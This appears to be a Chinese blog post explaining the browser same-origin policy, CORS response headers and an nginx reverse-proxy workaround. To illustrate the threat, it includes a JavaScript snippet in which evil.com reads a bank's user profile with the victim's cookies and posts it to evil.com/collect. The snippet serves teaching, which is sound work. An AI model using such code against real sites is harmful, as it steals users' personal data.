浏览器的同源策略以及跨源问题 ( 浏览器的同域策略以及跨域问题)

浏览器的同源策略以及跨源问题

这里的"源"也可称为"域": 浏览器的同域策略以及跨域问题

"源"

源 = 协议 + 主机 + 端口 (如:http://192.168.0.0.1:8080

"同源"即是指协议、主机、端口三者都完成相同。

与url :http://store.company.com/dir/page.html的源进行比较示例如下:

URL 结果 原因
http://store.company.com/dir2/other.html 同源 只有路径不同
http://store.company.com/dir/inner/another.html 同源 只有路径不同
https://store.company.com/secure.html 失败 协议不同
http://store.company.com:81/dir/etc.html 失败 端口不同(http:// 默认端口是 80)
http://news.company.com/dir/other.html 失败 主机不同

什么事同源策略?

同源策略(Same-Origin Policy)是浏览器最基础、最重要的安全机制。它规定:只有协议、域名、端口完全相同的两个页面,才能相互访问对方的资源(如 DOM、Cookie、LocalStorage)或发送任意请求并读取响应。

出于安全性,浏览器限制脚本内发起的跨源 HTTP 请求。例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源,除非响应报文包含了正确 CORS 响应头。

浏览器没有同源策略会发生什么?同源策略的作用

  • 攻击前提
  1. 用户已登录 https://bank.com,浏览器保存了该网站的会话 Cookie(比如 SESSIONID=abc123)。

  2. Cookie 未设置 HttpOnly、SameSite 等额外保护(仅为了简化演示)。

  • 攻击步骤(假设没有同源策略)
  1. 用户访问恶意网站 https://evil.com

  2. evil.com 的页面包含如下 JavaScript:

javascript 复制代码
fetch('https://bank.com/api/user/profile', {
    credentials: 'include'   // 发送 Cookie
})
.then(res => res.json())
.then(userData => {
    // 将用户数据(姓名、余额、身份证号等)发送给攻击者
    fetch('https://evil.com/collect', {
        method: 'POST',
        body: JSON.stringify(userData)
    });
});
  1. 浏览器执行该代码,因为目标域名是 bank.com,请求会自动携带 bank.com 的 Cookie。

  2. 服务器 bank.com 认为请求携带有效会话,返回用户敏感信息(JSON 格式)。

  3. 如果没有同源策略,脚本可以读取这个响应,从而将用户隐私发送到攻击者服务器。

同源策略如何防御?

  • 浏览器的 fetch / XHR 遵循同源策略:允许发送跨域请求,但禁止脚本读取响应。

  • 执行上述代码时,浏览器会检查 bank.com 的响应头中是否包含:

    Access-Control-Allow-Origin: https://evil.com或*(且未携带凭证时)

  • 由于 bank.com 没有返回该头,浏览器会抛出 CORS 错误:

    Access to fetch at 'https://bank.com/api/user/profile' from origin 'https://evil.com' has been blocked by CORS policy.

  • userData 无法获取,敏感信息不会泄露。

补充说明

  • 即使服务器返回了 Access-Control-Allow-Origin: *,如果请求携带了 credentials: 'include'(即 Cookie),浏览器也会拒绝,因为通配符 * 不允许与凭证一起使用。

  • 若要安全地开放跨域读取,服务器必须明确指定具体源,例如:

    Access-Control-Allow-Origin: https://trusted.com

    Access-Control-Allow-Credentials: true

其他作用

跨域资源访问 (CORS)

浏览器有了同源策略的限制,那浏览器还能实现不同源之间的访问吗? 可以!通过跨域资源共享(CORS)来实现

跨源 HTTP 请求的一个例子:运行在 https://domain-a.com 的 JavaScript 代码使用 XMLHttpRequest 来发起一个到 https://domain-b.com/data.json的请求。

CORS是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。

方法一

上面已经提到过了:在 源https://domain-b.com/服务器端配置响应头

Access-Control-Allow-Origin: https://domain-a.com

以允许源 https://domain-a.com访问

方法二

无法在源https://domain-b.com/服务器完成响应头配置时,可使用nginx反向代理以实现跨域请求。nginx主要配置如下:

复制代码
    server {
        listen       80;
        server_name  localhost;

        #access_log  logs/host.access.log  main;

        location / {
		    proxy_pass https://domain-a.com;
            root   html;
            index  index.html index.htm;
        }
		
		location /proxy/nginx/ {
		    proxy_pass https://domain-b.com/; 
            root   html;
            index  index.html index.htm;
        }
   }

参考:

跨源资源共享(CORS)https://developer.mozilla.org

浏览器的同源策略 https://developer.mozilla.org/

相关推荐
智码看视界4 小时前
Web Storage 的无障碍实践与工程化应用
前端·javascript·web
带刺的坐椅6 小时前
SolonCode(编码智能体)支持鸿蒙 PC
java·web·ai编程·harmonyos·soloncode·鸿蒙 pc
Agatha方艺璇20 小时前
前端开发技术复习笔记
vue·bootstrap·css3·html5·web
就叫_这个吧1 天前
IDEA中Javaweb项目创建+servlet,实现简单的信息录入获取
java·servlet·intellij-idea·web
贺今宵1 天前
Vue 3 + Capacitor 使用jeep-sqlite,web端使用本地sqlite数据库
前端·数据库·vue.js·sqlite·web
Bigger1 天前
记一次坑爹的 Cloudflare Pages 部署:Failed to load module script 是怎么把我的 SPA 搞挂的
前端·ci/cd·浏览器
王码码20352 天前
多台服务器怎么统一看状态?Beszel 轻量监控,搭起来不费事
运维·服务器·后端·安全·阿里云·接口·web
Curvatureflight2 天前
浏览器音频采集实践:麦克风权限、降噪、回声消除与 PCM 转换
前端·javascript·音视频·信息与通信·web·pcm
持敬chijing2 天前
Web渗透之SQL注入-宽字节注入
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析·web